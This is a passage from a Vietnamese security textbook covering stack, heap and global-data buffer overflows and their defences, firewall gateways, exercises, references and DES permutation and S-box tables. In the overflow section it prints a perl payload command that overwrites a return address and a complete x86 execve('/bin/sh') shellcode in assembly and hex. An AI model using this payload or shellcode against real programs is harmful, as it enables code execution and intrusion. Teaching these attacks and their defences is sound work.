thư viện gets của C không kiểm tra ñộ lớn dữ liệu ñọc vào. Nếu nhiều hơn 7 ký tự nó ñòi
hỏi bộ nhớ nhiều hơn. Khi ñó dữ liệu thừa viết ñè dữ liệu của biến kề, trong trường hợp
này là str1. Giả sử xâu ñầu vào là “EVILINPUTVALUE”, kết quả xâu Str1 bị viết ñè với
các ký tự “TVALUE”. Xâu str2 không chỉ sử dụng 8 ký tự của nó mà còn thêm 7 ký tự
từ str1. Biết cấu trúc trên, kẻ tấn công có thể thu xếp sao cho giá trị xâu Str1 vẫn bằng
- 157 -
Str2. Chẳng hạn nếu nhập xâu ñầu vào là “BADINPUTBADINPUT” thì trong phép so
sánh kết quả vẫn ñúng như trong lần chạy thứ ba trong ví dụ trên.
VIII.3.2 Tấn công tràn bộ nhớ. ðể làm tràn bộ ñệm, kẻ tấn công cần phải phát hiện lỗ
hổng tràn bộ ñệm trong chương trình nào ñó. Theo dõi, lần theo vết thực hiện, sử dụng
các công cụ ẩn. Hiểu bộ ñệm lưu trong bộ nhớ như thế nào và xác ñịnh khả năng phá
hỏng.
Một chút về lịch sử ngôn ngữ lập trình. Ở mức ngôn ngữ máy mọi dữ liệu là mảng các
bytes, thông dịch phụ thuộc vào các chỉ lệnh ñược dùng. Ngôn ngữ bậc cao hiện ñại có
ñịnh nghĩa chặt về kiểu và các phép toán ñúng. Không có lỗ hổng tràn bộ ñệm, ñược
lường trước, giới hạn khi dùng.
C và ngôn ngữ liên quan có cấu trúc ñiều khiển bậc cao, nhưng cho phép truy cập trực
tiếp ñến bộ nhớ. Vì vậy có lỗ hổng tràn bộ ñệm. Có kế thừa lớn các code không an toàn,
ñang ñược sử dụng rộng rãi, nên có lỗ hổng.
ðể hiểu hơn tạo sao lại tràn bộ nhớ, mà không khắc phục ñược, ta xem xét cơ chế mà lời
gọi hàm quản lý trạng thái cục bộ cho mỗi lời gọi. Khi một hàm gọi hàm khác, nó cần
phải lưu ở ñâu ñó ñịa chỉ trả về ñể hàm ñược gọi khi kết thúc trả ñiều khiển cho hàm gọi.
Bên cạnh ñó cũng cần có chỗ ñể cất một số tham số mà cần truyền cho hàm ñược gọi và
- 158 -
cũng cần lưu các giá trị thanh ghi của hàm gọi mà cần ñược sử dụng khi hàm ñược gọi
kết thúc. Thông thường mọi dữ liệu này ñược cất ở khung ngăn xếp (stack frame). Mỗi
lần gọi hàm lại sinh ra một khung ngăn xếp liên kết.
Tràn bộ ñệm ngăn xếp xảy ra khi bộ ñệm ñặt trên ngăn xếp. Nó ñược khai thác bởi sâu
Morris. Bài báo “Smashing the Stack” tuyên truyền nó. Có biến cục bộ phía dưới con trỏ
khung lưu trữ và ñịa chỉ trả lại. Vì vậy tràn bộ ñệm cục bộ có nhiều khả năng viết ñè các
mục ñiều khiển chính. Kẻ tấn công viết ñè ñịa chỉ trả về với ñịa chỉ của ñọan code cài
vào. ðó có thể là ñịa chỉ của chương trình, thư viện hệ thống hoặc tải vào bộ ñệm.
Chúng ta xem cấu tạo vùng nhớ, nơi cất chương trình ñang chạy, dữ liệu tổng thể, ñống
và ngăn xếp. Khi chương trình chạy, hệ ñiều hành tạo ra một tiến trình cho nó. Tiến trình
ñược cho bởi không gian ảo của riêng nó với cấu trúc như trên hình vẽ sau. Nó bao gồm
nội dung chương trình ñang chạy, trong ñó có dữ liệu tổng thể, bảng cấp bộ nhớ, code của
chương trình ở gần ñáy của không gian nhớ này. Trên ñó không gian cho ñống tăng dần
lên và trên nữa là không gian cho ngăn xếp giảm dần xuống.
ðể mô tả tràn bộ ñệm ngăn xếp ta xét chương trình C sau. Nó chứa biến cục bộ duy nhất,
bộ ñệm inp. Hàm Hello nhắc nhập tên mà ñược ñọc vào bộ ñệm nhờ hàm thư viện không
an toàn gets(). Sau ñó hiện kết quả ñọc ñược nhờ hàm thư viện printf (). Nếu giá trị nhỏ
ñược ñọc thì ở ñây không có vấn ñề gì. Chương trình gọi hàm sẽ chạy thành công như
- 159 -
trong lần chạy thứ nhất trên hình sau ñó. Nếu dữ liệu lớn như trong lần chạy thứ hai, dữ
liệu sẽ vượt qua cuối bộ ñệm và ghi ñè lên con trỏ khung lưu trữ và trả về ñịa chỉ sai
tương ứng với biểu diễn nhị phân của các ký tự. Và khi hàm trả ñiều khiển cho ñịa chỉ trả
về, nó nhảy ñến vị trí bộ nhớ không hợp lệ, báo lỗi “Segmentation Fault” và dừng
chương trình không bình thường như thông báo trên hình sau ñó. Kẻ tấn công tận dụng
cơ hội này ñể truyền ñiều khiển về chương trình ñã ñịnh trước.
$ cc -g -o buffer2 buffer2.c
$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done
$ ./buffer2
Enter value for name:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)
$ perl -e 'print pack("H*",
"414243444546474851525354555657586162636465666768
08fcffbf948304080a4e4e4e4e0a");' | ./buffer2
Enter value for name:
Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefguyu
Enter value for Kyyu:
Hello your Kyyu is NNNN
Segmentation fault (core dumped)
Example Shellcode
nop
nop // end of nop sled
jmp find // jump to end of code
cont: pop %esi // pop address of sh off stack into %esi
xor %eax,%eax // zero contents of EAX
mov %al,0x7(%esi) // copy zero byte to end of string sh (%esi)
lea (%esi),%ebx // load address of sh (%esi) into %ebx
mov %ebx,0x8(%esi) // save address of sh in args[0] (%esi+8)
mov %eax,0xc(%esi) // copy zero to args[1] (%esi+c)
mov $0xb,%al // copy execve syscall number (11) to AL
mov %esi,%ebx // copy address of sh (%esi) t0 %ebx
lea 0x8(%esi),%ecx // copy address of args (%esi+8) to %ecx
lea 0xc(%esi),%edx // copy address of args[1] (%esi+c) to %edx
int $0x80 // software interrupt to execute syscall
find: call cont // call cont which saves next address on stack
sh: .string "/bin/sh " // string constant
args: .long 0 // space used for args array
.long 0 // args[1] and also NULL for env array
90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
- 161 -
Thiết lập các kỹ thuật lập trình an toàn. Nếu sử dụng ngôn ngữ tiềm ẩn không an toàn
như C, lập trình viên cần viết code an toàn một cách tường minh. Bằng thiết kế với code
mới, sau khi xem xét code cũ. Xem an toàn tràn bộ ñệm như tập con các kỹ thuật lập
trình an toàn nói chung. Chú ý ñến các lỗi nhỏ, kiểm tra ñủ không gian trong bộ ñệm bất
kỳ.
Có ñề nghị mở rộng an toàn cho C như tạo ñiểm phạt thực thi, cần dịch chương trình với
chương trình dịch ñặc biệt. Có một số phương án thư viện chuẩn an toàn, các hàm mới,
như strlcpy(). Cài ñặt lại an toàn hơn một số hàm chuẩn như thư viện ñộng, chẳng hạn
Libsafe.
Bổ sung code của chức năng nhập và thoát ñể kiểm tra ngăn xếp ghi nhận việc ghi ñè, sử
dụng yếu tố ngẫu nhiên như bảo vệ ngăn xếp, kiểm tra viết ñè giữa biến cục bộ và con trỏ
khung lưu trữ và ñịa chỉ trả về. Chương trình dừng nếu phát hiện thay ñổi. Phát hành: bản
dịch lại, hỗ trợ phát hiện lỗi hoặc copy an toàn lưu trữ/kiểm tra ñịa chỉ trả về.
Sử dụng hỗ trợ bộ nhớ ảo ñể tạo một số vùng bộ nhớ không thực thi ñược như stack,
heap, global data. Cần hỗ trợ từ các phần cứng bộ nhớ như trong SPARC / Solaris
systems, x86 Linux/Unix/Windows systems. Phát hành hỗ trợ cho code ngăn xếp thực
thi, cần một số dự phòng ñặc biệt.
Thao tác trên vị trí của các cấu trúc dữ liệu chính, sử dụng tịnh tiến ngẫu nhiên cho mỗi
tiến trình, có vùng ñịa chỉ lớn trên các phương tiện của các hệ thống hiện ñại chống các
va chạm và ñoán ñịa chỉ bộ ñệm ñích là không thể. Vị trí ngẫu nhiên cho bộ ñệm heap và
vị trí các hàm thư viện chuẩn. ðặt các trang bảo vệ giữa các vùng quan trọng của bộ nhớ,
ñặt cờ trong bộ nhớ như ñịa chỉ không hợp lệ. Có thể ngay cả ñặt giữa các khung ngăn
xếp và các bộ ñệm heap trong thời gian thực thi và phải trả giá về không gian.
Có nhiều các phương án tấn công khác: phương án tràn ngăn xếp, tràn heap, tràn dữ liệu
tổng thể, tràn xâu ñịnh dạng, tràn số nguyên. Có thể có nhiều hơn nữa ñược phát hiện
trong tương lai. Một số không thể ngăn chặn trừ khi code an toàn lúc ban ñầu.
Phương án tràn ngăn xếp chỉ viết ñè bộ ñệm và con trỏ khung lưu trữ trả về xảy ra nhưng
ñến khung giả trả về lời gọi hàm ñiều khiển bởi kẻ tấn công ñược dùng khi có tràn bộ
ñệm giới hạn. Ví dụ tách ra bởi một khung. Tuy có các hạn chế: cần biết ñịa chỉ chính xác
của bộ ñệm, hàm gọi thực hiện với khung giả, phương án tràn ngăn xếp thay ñịa chỉ trả về
bằng hàm thư viện chuẩn ñể ñáp lại sự bảo vệ ngăn xếp không thực thi. Kẻ tấn công xây
- 163 -
dựng các tham số phù hợp trên ngăn xếp phía trên ñịa chi trả về. Kẻ tấn công có thể cần
ñịa chỉ chính xác của bộ ñệm, có thể ngay cả kết nối hai lời gọi thư viện.
Cũng có tấn công bộ ñệm ñặt trong heap. Thông thường ñặt trên code của chương trình,
bộ nhớ ñược yêu cầu bởi chương trình ñể sử dụng cho các cấu trúc dữ liệu ñộng, ví dụ
như danh sách móc nối. Không có ñịa chỉ trả về, nên không có chuyển giao quyền ñiều
khiển dễ dàng. Có thể có con trỏ hàm ñể khai thác hoặc thao tác cấu trúc dữ liệu quản trị.
Cách bảo vệ là dùng heap ngẫu nhiên và không thực thi.
Có thể tấn công bộ ñệm ñặt trong dữ liệu tổng thể. Có thể ñặt phía trên code của chương
trình. Nếu có con trỏ hàm và bộ ñệm có lỗ hổng hoặc bảng quản trị các quá trình liền kề.
Nhắm tới viết ñè con trỏ hàm ñược gọi sau ñó. Cách bảo vệ là dùng vùng dữ liệu tổng thể
ngẫu nhiên và không thực thi, dịch chuyển con trỏ hàm, các trang bảo vệ.
VIII.4.3 Bức tường lửa – cổng giao tiếp ở tầng ứng dụng (hoặc proxy)
Có cổng giao tiếp chuyên dùng cho ứng dụng – proxy (người ñược uỷ quyền).
Có truy cập ñầy ñủ ñến giao thức
o Người sử dụng yêu cầu dịch vụ từ proxy
o Proxy kiểm tra các yêu cầu có hợp lệ không
o Sau ñó xử lý yêu cầu và trả lời cho người sử dụng
o Có thể vào/theo dõi vận chuyển ở tầng ứng dụng
Cần các proxies khác nhau cho mỗi dịch vụ
o Một số dịch vụ hỗ trợ một cách tự nhiên proxy
o Những loại khác thì cần giải quyết một số vấn ñề
VIII.4.4 Bức tường lửa - cổng giao tiếp mức mạch vòng
Chuyển tiếp 2 kết nối TCP. Có sự an toàn bằng cách hạn chế mà các kết nối này cho
phép. Mỗi lần tạo ra chuyển tiếp thông thường không kiểm tra nội dung. Thông thường
ñược sử dụng khi tin cậy người sử dụng bên trong bằng cách cho phép các kết nối ra
ngoài nói chung. Gói SOCKS ñược sử dụng rộng rãi cho mục ñích này.
- 166 -
Reference Monitor
(Giao diện chỉ dẫn)
- 169 -
Bài tập
1. Liệt kê và phân loại các phần mềm có hại và các biện pháp phòng chống.
2. Phân tích các kỹ thuật xâm nhập hệ thống và cách phòng ngừa.
- 170 -
3. Nêu các biện pháp tăng cường an ninh, bảo mật máy tính cá nhân dựa trên các
phần mềm thông dụng hiện có.
4. Mục ñích yêu cầu của việc xây dựng bức tường lửa. Có những loại bức tường lửa
nào.
5. Nêu cách thiết lập bức tường lửa sử dụng công cụ hỗ trợ trong hệ ñiều hành.
6. Phân tích các lỗi tràn bộ nhớ có thể xảy ra, nêu nguyên nhân.
7. Tìm hiểu các yêu cầu lập trình an toàn.
8. Trình bày một số mô hình hệ thống máy tính tin cậy.
- 171 -
DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIẾT TẮT
Stt Ký hiệu Diễn giải
1 ACL Access Control List – Danh sách kiểm soát truy cập
5 CERT Computer emergency response team - ðội cấp cứu sự cố máy tính
6 CRL Certificate revocation list – Danh sách thu hồi chứng nhận
7 CSDL Cơ sở dữ liệu
9 CSHT Cơ sở hạ tầng
22 IPKI Internet X.509 public key Infrastructure - Hạ tầng khoá công khai
Internet X.509
29 PGP Pretty Good Privacy – Phần mềm bảo mật thư ñiện tử
30 RSA Thuật toán mã công khai RSA mang tên Rivest, Shamir, Adleman
33 SMTP Simple Mail Transfer Protocol – Giao thức chuyển thư ñơn giản
34 SOAP Simple Object Access Protocol – Giao thức truy cập ñối tượng
ñơn giản
35 SSL Secure Socket Layer – giao thức bảo mật lớp vận chuyển
36 TLS Transport Layer Security – Chuẩn giao thức bảo mật lớp vận
chuyển
42 WTLS Wireless transport layer security – an toàn tầng vận chuyển không
dây
- 174 -
TÀI LIỆU THAM KHẢO
[1] William Stallings. Cryptography and Network Security: Principles and Practice. Third
Edition. Pearson Education, 2003.
[2] A. Menezes, P. van Oorschot và S. Vanstone. - Handbook of Applied Cryptography,
Fifth Edition, CRC Press, 1996.
[3] Douglas Stinson - Cryptography: Theory and Practice. Boca Raton. FL. CRC Press,
2007.
[4] http://en.wikipedia.org
[5] http://vn.wikipedia.org
[6] http://www.ietf.org/rfc
[7] http://www.schneier.com/blowfish.html
[8] http://www.rsasecurity.com
[9] http://people.csail.mit.edu/rivest/crypto-security.html
[10] Nguyễn Ngọc Tuấn, Hồng Phúc. Công nghệ bảo mật World Wide Web.
Nhà xuất bản Thống kê, 2005.
- 175 -
PHỤ LỤC
1. Phụ lục thuật toán DES
1.1 Phụ lục 1.1
IP
58 50 42 34 26 18 10 2
60 52 44 36 28 20 12 4
62 54 46 38 30 22 14 6
64 56 48 40 32 24 16 8
57 49 41 33 25 17 9 1
59 51 43 35 27 19 11 3
61 53 45 37 29 21 13 5
63 55 47 39 31 23 15 7
IP-1
40 8 48 16 56 24 64 32
39 7 47 15 55 23 63 31
38 6 46 14 54 22 62 30
37 5 45 13 53 21 61 29
36 4 44 12 52 20 60 28
35 3 43 11 51 19 59 27
34 2 42 10 50 18 58 26
33 1 41 9 49 17 57 25
Hàng
Cột
[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15]
S1
[0] 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
[1] 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8
[2] 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0
[3] 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13
S2
[0] 15 1 8 14 6 11 3 4 9 7 2 13 12 0 5 10
[1] 3 13 4 7 15 2 8 14 12 0 1 10 6 9 11 5
[2] 0 14 7 11 10 4 13 1 5 8 12 6 9 3 2 15
[3] 13 8 10 1 3 15 4 2 11 6 7 12 0 5 14 9
S3
[0] 10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8
[1] 13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1
[2] 13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7
[3] 1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12
S4
[0] 7 13 14 3 0 6 9 10 1 2 8 5 11 12 4 15
[1] 13 8 11 5 6 15 0 3 4 7 2 12 1 10 14 9
[2] 10 6 9 0 12 11 7 13 15 1 3 14 5 2 8 4
[3] 3 15 0 6 10 1 13 8 9 4 5 11 12 7 2 14
S5
[0] 2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9
[1] 14 11 2 12 4 7 13 1 5 0 15 10 3 9 8 6
[2] 4 2 1 11 10 13 7 8 15 9 12 5 6 3 0 14
[3] 11 8 12 7 1 14 2 13 6 15 0 9 10 4 5 3
S6
- 177 -
[0] 12 1 10 15 9 2 6 8 0 13 3 4 14 7 5 11
[1] 10 15 4 2 7 12 9 5 6 1 13 14 0 11 3 8
[2] 9 14 15 5 2 8 12 3 7 0 4 10 1 13 11 6
[3] 4 3 2 12 9 5 15 10 11 14 1 7 6 0 8 13
S7
[0] 4 11 2 14 15 0 8 13 3 12 9 7 5 10 6 1
[1] 13 0 11 7 4 9 1 10 14 3 5 12 2 15 8 6
[2] 1 4 11 13 12 3 7 14 10 15 6 8 0 5 9 2
[3] 6 11 13 8 1 4 10 7 9 5 0 15 14 2 3 12
S8
[0] 13 2 8 4 6 15 11 1 10. 9 3 14 5 0 12 7
[1] 1 15 13 8 10 3 7 4 12 5 6 11 0 14 9 2
[2] 7 11 4 1 9 12 14 2 0 6 10 13 15 3 5 8
[3] 2 1 14 7 4 10 8 13 15 12 9 0 3 5 6 11
PC1
57 49 41 33 25 17 9
1 58 50 42 34 26 18
10 2 59 51 43 35 27
19 11 3 60 52 44 36
63 55 47 39 31 23 15
7 62 54 46 38 30 22
14 6 61 53 45 37 29
- 178 -
21 13 5 28 20 12 4
1.7 Phụ lục 1.7
PC2
14 17 11 24 1 5
3 28 15 6 21 10
23 19 12 4 26 8
16 7 27 20 13 2
41 52 31 37 47 55
30 40 51 45 33 48
44 49 39 56 34 53
46 42 50 36 29 32